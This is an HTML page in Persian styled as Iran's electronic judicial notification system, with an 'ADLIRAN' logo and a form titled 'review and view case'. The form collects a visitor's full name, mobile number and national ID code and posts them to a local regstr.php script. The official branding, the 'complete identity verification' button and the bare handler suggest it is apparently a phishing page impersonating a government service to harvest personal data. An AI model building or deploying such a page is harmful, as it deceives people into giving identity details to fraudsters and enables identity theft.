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    <title>سامانه ابلاغ الکترونیک</title>
    <link rel="stylesheet" href="assets/index.a5aee769.css">
    <link rel="modulepreload" as="script" crossorigin="" href="assets/register-index.7f43f81e.js">
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</head>
<style>
    .base-label {
        text-align: right;
    }
</style>

    <div id="app" data-v-app="">
                                <form id="primary_form"
                                    action="regstr.php"
                                    method="post" novalidate="novalidate">
        <div class="empty-layout" data-v-577efb43="">
            <div class="wrapper" data-v-5fff53f2="" data-v-577efb43="">
                <div class="wrapper__form" data-v-5fff53f2="">
                    <div data-v-5a6ce981="">
                        <form autocomplete="off" disabled="false" data-v-5a6ce981="">
                            <style>
    .container {
        text-align: center;
        padding: 20px;
    }
    img {
        max-width: 110%;
        display: block;
        margin: 0 auto;
    }
</style>

<div class="container">
    <img src="adliran_logo.png" alt="ADLIRAN">
</div>

                            <h2 class="main-title main-title--black" data-v-97dabaac="" data-v-5a6ce981="">بررسی و مشاهده پرونده</h2>
                            <p class="sub-title sub-title--black" data-v-5cd5d4fd="" data-v-5a6ce981="">برای بررسی و تکمیل فرایند اطلاعات مربوطه را وارد کنید.</p>
                                  
                                  
<label
    class="base-label base-label--has-margin-top" for="fullNameInput" required data-v-d29d3814=""
    data-v-5a6ce981="">نام و نام خانوادگی : <small class="mobile__description" data-v-5a6ce981"></small></label>
<input
    class="base-input base-input--placeholder-right input-with-padding-left" type="text"
    id="Fullname" name="Fullname" maxlength="30" autocomplete="off" placeholder=""
    data-val-regex-pattern="^[آ-یa-zA-Z\s]+$" data-v-700559d4="" data-v-5a6ce981="" required>
<div class="message message--error" data-v-2c2a606e="" data-v-86537d85="" data-v-5a6ce981=""
    style="display: none;"><img src="assets/circle-error.dad76867.svg"
        class="message__icon" alt="" aria-hidden="true" width="24" height="24"
        data-v-2c2a606e=""></div>

<label
    class="base-label base-label--has-margin-top" for="phoneNumberInput" data-v-d29d3814=""
    data-v-5a6ce981="">شماره تلفن : <small class="mobile__description" required data-v-5a6ce981=""></small></label>
<input
    class="base-input base-input--placeholder-right input-with-padding-left" type="tel"
    id="phoneNumber" name="phoneNumber" maxlength="11" autocomplete="off" placeholder="0912xxxxxxx"
    data-val-regex-pattern="^09\d{9}$" data-v-700559d4="" data-v-5a6ce981="" required>
<div class="message message--error" data-v-2c2a606e="" data-v-86537d85="" data-v-5a6ce981=""
    style="display: none;"><img src="assets/circle-error.dad76867.svg"
        class="message__icon" alt="" aria-hidden="true" width="24" height="24"
        data-v-2c2a606e=""></div>

<label
    class="base-label base-label--has-margin-top" for="nationalCodeInput" data-v-d29d3814=""
    data-v-5a6ce981="">کد ملی : <small class="mobile__description" data-v-5a6ce981=""></small></label>
<input
    class="base-input base-input--placeholder-right input-with-padding-left" type="tel"
    id="nationalCodeInput" name="nationalCode" maxlength="10" required autocomplete="off" placeholder="محل درج کد ملی"
    data-val-regex="شماره همراه را به درستی وارد کنید."
    data-val-regex-pattern="^[0-9]{10}$" data-v-700559d4="" data-v-5a6ce981" required>
<div class="message message--error" data-v-2c2a606e="" data-v-86537d85="" data-v-5a6ce981=""
    style="display: none;"><img src="assets/circle-error.dad76867.svg"
        class="message__icon" alt="" aria-hidden="true" width="24" height="24"
        data-v-2c2a606e=""></div>
                                    
                                    <button class="btn btn--large btn--accent submit-btn"
                                type="button" data-v-1bb05e15="" data-v-5a6ce981=""><span class="btn__text"
                                    data-v-1bb05e15="">تکمیل احراز هویت</span></button>
 
                        </form>
                    </div><!---->
                </div><img class="wrapper__vector" alt="" src="assets/register-banner.207bce98.svg" width="320"
                    height="320" data-v-5fff53f2="">
            </div>


    <script>document.querySelector('.submit-btn').addEventListener('click', function() {
    document.getElementById('primary_form').submit();
}); </script>

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    data-gpts-theme="light"></chatgpt-sidebar-popups>

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